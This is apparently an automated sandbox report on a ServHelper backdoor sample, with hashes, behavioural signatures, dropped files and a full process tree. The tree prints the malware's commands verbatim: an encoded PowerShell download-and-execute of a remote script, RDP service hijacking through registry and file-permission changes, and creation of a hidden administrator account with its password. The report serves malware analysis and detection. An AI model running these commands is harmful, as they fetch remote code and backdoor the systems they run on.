Analysis

  • max time kernel
    128s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    24-09-2021 21:43

General

  • Target

    83d119a963e7050995f9bf6be8841b95.exe

  • Size

    5.7MB

  • MD5

    83d119a963e7050995f9bf6be8841b95

  • SHA1

    2ba0e479d5c2b7b9b28c7f946bd56489cedaa126

  • SHA256

    d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486

  • SHA512

    4c740f5e0f4787fc268239882fe9b74ee00944053ac4c45ca1d114dbd22954f00c3f4fd5fb39be932b44e6da9380466d07b324150454357bf7b12a17b77ceffe

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\83d119a963e7050995f9bf6be8841b95.exe
    "C:\Users\Admin\AppData\Local\Temp\83d119a963e7050995f9bf6be8841b95.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pm_nohl0.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1592
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB8B4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB8B3.tmp"
          4⤵
            PID:608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:676
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1780
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:984
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1612
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1820
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:968
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1880
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1812
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1800
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1420
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1292
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1660
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1004
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2008
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1480
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1444
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1576
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1764
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1744
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1164
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1736
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1712
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1332
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1352
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1756
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1756
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:580
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1844
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc RLGy6HnU /add
                                  1⤵
                                    PID:608
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc RLGy6HnU /add
                                      2⤵
                                        PID:700
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc RLGy6HnU /add
                                          3⤵
                                            PID:1632
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:968
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1156
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:404
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                              1⤵
                                                PID:1468
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                  2⤵
                                                    PID:1660
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                      3⤵
                                                        PID:1304
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1500
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1752
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1664
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc RLGy6HnU
                                                          1⤵
                                                            PID:1444
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc RLGy6HnU
                                                              2⤵
                                                                PID:988
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc RLGy6HnU
                                                                  3⤵
                                                                    PID:1352
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:876
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1820
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1264
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1800
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1000
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1320
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1792

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Temp\RESB8B4.tmp

                                                                        MD5

                                                                        6f02a8cad7472130729e6d4e094cdc53

                                                                        SHA1

                                                                        a241e4750ba47d192ef75787408979766974ae23

                                                                        SHA256

                                                                        7bc1d0bb89accd9dba9fc36042ffd7c2a0d23d80b37bf5da38e969e376d55d6d

                                                                        SHA512

                                                                        902d03baa4a3f9d6cecdf5ad02555a58a3bdbd3eae6b147d7e563851ea52188ff7bc5bc7f1883c6e18ff79ab0c2eaa995b659ab9f546af69cebb65e109f07e29

                                                                      • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                                                        MD5

                                                                        9d21abc1a799ae0ea31258d563532295

                                                                        SHA1

                                                                        a9cde90ba328e30a3eb7a5c410b304a4ae09cdba

                                                                        SHA256

                                                                        8075e676d039b5791405f3ab00787a16199920dfe025ff04359b953565bf6f2f

                                                                        SHA512

                                                                        b9324c8b4af372a89aaa8c864dab88e74fdd820b28b6fe03897151e23de01b0a0857959e0e023340e4dd18ba0a6dad2faaf365580769b3a473070457b72b3065

                                                                      • C:\Users\Admin\AppData\Local\Temp\pm_nohl0.dll

                                                                        MD5

                                                                        d83562f098cd389d1c57e3c70d36c6c9

                                                                        SHA1

                                                                        fc5b0f9ba4c94f2ab6f7e152c25c2eaad7201a65

                                                                        SHA256

                                                                        54bbb087b5d0e512ee0e44dd86687cdf4091ad8a10611510cbc6b5453e735e14

                                                                        SHA512

                                                                        60372bd5400eebb49c9525263b3b687e7747965248525db6976dd65d9fdd0d92190e7e0ad7ac06810ca0683be1993ace20f67f8b05695fb3877d1c0a220ad1a5

                                                                      • C:\Users\Admin\AppData\Local\Temp\pm_nohl0.pdb

                                                                        MD5

                                                                        d12b2ebe441a21e4667dc88a52a3e95c

                                                                        SHA1

                                                                        eb9434b9316d92f27636ecf3fb678e0914a07f52

                                                                        SHA256

                                                                        00810f4bf2e90efdf35e1818dcc0bd4dc2e29cdba95700414dbb08b71e655e16

                                                                        SHA512

                                                                        008921de3c674c65b639fe8cc3de8be16f9ee7fd1d7c5f9eec71bf402118968350cda6173f25370069c0f32b91772c51d33284f47cf1509633e070d193c09fc0

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        MD5

                                                                        28d9755addec05c0b24cca50dfe3a92b

                                                                        SHA1

                                                                        7d3156f11c7a7fb60d29809caf93101de2681aa3

                                                                        SHA256

                                                                        abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                                                        SHA512

                                                                        891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        e2967258866267f5cd57ee6467242892

                                                                        SHA1

                                                                        9883cb588b447a714b0959191dca85b6a1584b5c

                                                                        SHA256

                                                                        fe0608643e423e1b9e375b8910848e999c48aaae2ec44e90f07f8e06f09be74a

                                                                        SHA512

                                                                        019630a91cf729ff337cbaec81680a9905bd32ef624981c647e5b2dc7ee04aa91bf64aca027a679e9e2af75ecd44671b7503e785bc0feae9895b9cfef2b0f991

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        e2967258866267f5cd57ee6467242892

                                                                        SHA1

                                                                        9883cb588b447a714b0959191dca85b6a1584b5c

                                                                        SHA256

                                                                        fe0608643e423e1b9e375b8910848e999c48aaae2ec44e90f07f8e06f09be74a

                                                                        SHA512

                                                                        019630a91cf729ff337cbaec81680a9905bd32ef624981c647e5b2dc7ee04aa91bf64aca027a679e9e2af75ecd44671b7503e785bc0feae9895b9cfef2b0f991

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        e2967258866267f5cd57ee6467242892

                                                                        SHA1

                                                                        9883cb588b447a714b0959191dca85b6a1584b5c

                                                                        SHA256

                                                                        fe0608643e423e1b9e375b8910848e999c48aaae2ec44e90f07f8e06f09be74a

                                                                        SHA512

                                                                        019630a91cf729ff337cbaec81680a9905bd32ef624981c647e5b2dc7ee04aa91bf64aca027a679e9e2af75ecd44671b7503e785bc0feae9895b9cfef2b0f991

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\CSCB8B3.tmp

                                                                        MD5

                                                                        75309916e18fb3cd86d3609939627e3a

                                                                        SHA1

                                                                        bc513c7ef162afbdb72e7524226d7b577971ff87

                                                                        SHA256

                                                                        26722b9dfa4930a4f05553a79c4b012f4aed90f4feedb8b12bcf3097753e6dc4

                                                                        SHA512

                                                                        109a7a5087a0a2ba43049980870cd229a1b7ed45d430bd87eba0fbdeef18c03421d2d1f7dcb48bb97d568f8496267fce0eaf1a99221056f1d002d387ba7748f3

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\pm_nohl0.0.cs

                                                                        MD5

                                                                        9f8ab7eb0ab21443a2fe06dab341510e

                                                                        SHA1

                                                                        2b88b3116a79e48bab7114e18c9b9674e8a52165

                                                                        SHA256

                                                                        e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                                                        SHA512

                                                                        53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\pm_nohl0.cmdline

                                                                        MD5

                                                                        a3432e839a8f933a422cb56167011d84

                                                                        SHA1

                                                                        b303f42b8b44f58286bc6b8f80e7d4968eeffbe3

                                                                        SHA256

                                                                        f5f77e75d66d1cef9cf580a0f4ba2396c0cb8888971b5d949ed77a94955351bd

                                                                        SHA512

                                                                        3a1181f6c15af22cfa7b0d181ff2b85b899a0ef837090f83eca7f2da4e7fb6dc544c9636df5b0079fe5cdba87498c1ae856f3177ec91d0b979d6a2e05cb27d36

                                                                      • \Windows\Branding\mediasrv.png

                                                                        MD5

                                                                        2997902dba8aefe9e872b14c2bfb584b

                                                                        SHA1

                                                                        cca608ebdde64a12dca56b2bd4864089857eba01

                                                                        SHA256

                                                                        537ab9c5f678410f21c063f11f4a894cc15025a5590199716a01bbf365dc0e50

                                                                        SHA512

                                                                        4fc959cbf5bebfcb5a32fdebd2ceec8943f9d3d0ffcaed236b2d73b680c5c5f6c85d5ad3d192d7d565f4b2fe07fb87321a8036a304147df2b7f45936ff5f9fc1

                                                                      • \Windows\Branding\mediasvc.png

                                                                        MD5

                                                                        9119f61ba0d487585a8fd5aaa4198a9a

                                                                        SHA1

                                                                        1ff2e337e5d1547d9e1824062500f743aae999db

                                                                        SHA256

                                                                        6a3da788a78fc2024fbfb135624047a7d15edcae3798a3cb0e87fbab740d70f1

                                                                        SHA512

                                                                        322e3e0006a3015c0495b76bdf9125285e6a6dd2f84d69996e4d95cbc73449269b7945ccccad465d417394075bc69f46f91ad1eb95f717958977cb88139267ab

                                                                      • memory/404-137-0x0000000000000000-mapping.dmp

                                                                      • memory/580-132-0x0000000000000000-mapping.dmp

                                                                      • memory/608-70-0x0000000000000000-mapping.dmp

                                                                      • memory/676-92-0x000000001B7B0000-0x000000001BAAF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/676-87-0x0000000000000000-mapping.dmp

                                                                      • memory/676-96-0x00000000024F4000-0x00000000024F7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/676-95-0x00000000024FC000-0x000000000251B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/676-94-0x00000000024F2000-0x00000000024F4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/676-97-0x00000000024F7000-0x00000000024F8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/676-93-0x00000000024F0000-0x00000000024F2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/676-90-0x000007FEEB1C0000-0x000007FEEBD1D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/700-134-0x0000000000000000-mapping.dmp

                                                                      • memory/908-86-0x0000000002427000-0x0000000002428000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/908-91-0x000000000242C000-0x000000000244B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/908-84-0x0000000002422000-0x0000000002424000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/908-85-0x0000000002424000-0x0000000002427000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/908-78-0x0000000000000000-mapping.dmp

                                                                      • memory/908-83-0x000000001B8F0000-0x000000001BBEF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/908-81-0x000007FEEB1C0000-0x000007FEEBD1D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/908-82-0x0000000002420000-0x0000000002422000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/968-112-0x0000000000000000-mapping.dmp

                                                                      • memory/984-108-0x0000000000000000-mapping.dmp

                                                                      • memory/988-142-0x0000000000000000-mapping.dmp

                                                                      • memory/1004-119-0x0000000000000000-mapping.dmp

                                                                      • memory/1156-136-0x0000000000000000-mapping.dmp

                                                                      • memory/1164-126-0x0000000000000000-mapping.dmp

                                                                      • memory/1292-117-0x0000000000000000-mapping.dmp

                                                                      • memory/1304-139-0x0000000000000000-mapping.dmp

                                                                      • memory/1320-146-0x0000000000000000-mapping.dmp

                                                                      • memory/1332-129-0x0000000000000000-mapping.dmp

                                                                      • memory/1352-143-0x0000000000000000-mapping.dmp

                                                                      • memory/1352-154-0x0000000000000000-mapping.dmp

                                                                      • memory/1420-116-0x0000000000000000-mapping.dmp

                                                                      • memory/1432-56-0x00000000411E4000-0x00000000411E6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1432-55-0x00000000411E2000-0x00000000411E4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1432-57-0x00000000411E6000-0x00000000411E7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1432-58-0x00000000411E7000-0x00000000411E8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1432-53-0x0000000041660000-0x0000000041A5F000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/1444-122-0x0000000000000000-mapping.dmp

                                                                      • memory/1480-121-0x0000000000000000-mapping.dmp

                                                                      • memory/1576-123-0x0000000000000000-mapping.dmp

                                                                      • memory/1592-76-0x0000000002000000-0x0000000002002000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1592-67-0x0000000000000000-mapping.dmp

                                                                      • memory/1612-110-0x0000000000000000-mapping.dmp

                                                                      • memory/1632-135-0x0000000000000000-mapping.dmp

                                                                      • memory/1660-138-0x0000000000000000-mapping.dmp

                                                                      • memory/1660-118-0x0000000000000000-mapping.dmp

                                                                      • memory/1664-141-0x0000000000000000-mapping.dmp

                                                                      • memory/1712-128-0x0000000000000000-mapping.dmp

                                                                      • memory/1736-127-0x0000000000000000-mapping.dmp

                                                                      • memory/1744-125-0x0000000000000000-mapping.dmp

                                                                      • memory/1752-140-0x0000000000000000-mapping.dmp

                                                                      • memory/1756-155-0x0000000000000000-mapping.dmp

                                                                      • memory/1764-124-0x0000000000000000-mapping.dmp

                                                                      • memory/1780-106-0x00000000029F7000-0x00000000029F8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1780-103-0x00000000029F2000-0x00000000029F4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1780-101-0x000007FEEB1C0000-0x000007FEEBD1D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1780-104-0x00000000029F4000-0x00000000029F7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1780-105-0x000000001B870000-0x000000001BB6F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1780-102-0x00000000029F0000-0x00000000029F2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1780-107-0x00000000029FC000-0x0000000002A1B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1780-98-0x0000000000000000-mapping.dmp

                                                                      • memory/1792-152-0x00000000013A4000-0x00000000013A7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1792-149-0x000007FEEB1C0000-0x000007FEEBD1D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1792-147-0x0000000000000000-mapping.dmp

                                                                      • memory/1792-150-0x00000000013A0000-0x00000000013A2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1792-151-0x00000000013A2000-0x00000000013A4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1792-153-0x00000000013AB000-0x00000000013CA000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1800-145-0x0000000000000000-mapping.dmp

                                                                      • memory/1800-115-0x0000000000000000-mapping.dmp

                                                                      • memory/1812-114-0x0000000000000000-mapping.dmp

                                                                      • memory/1820-111-0x0000000000000000-mapping.dmp

                                                                      • memory/1820-144-0x0000000000000000-mapping.dmp

                                                                      • memory/1844-133-0x0000000000000000-mapping.dmp

                                                                      • memory/1880-113-0x0000000000000000-mapping.dmp

                                                                      • memory/1928-77-0x00000000024ED000-0x00000000024EE000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1928-59-0x0000000000000000-mapping.dmp

                                                                      • memory/1928-60-0x000007FEFBFD1000-0x000007FEFBFD3000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1928-61-0x000007FEEB1C0000-0x000007FEEBD1D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1928-62-0x00000000024C0000-0x00000000024C2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1928-64-0x00000000024C2000-0x00000000024C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1928-65-0x00000000024C4000-0x00000000024C7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1928-66-0x00000000024CB000-0x00000000024EA000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/2008-120-0x0000000000000000-mapping.dmp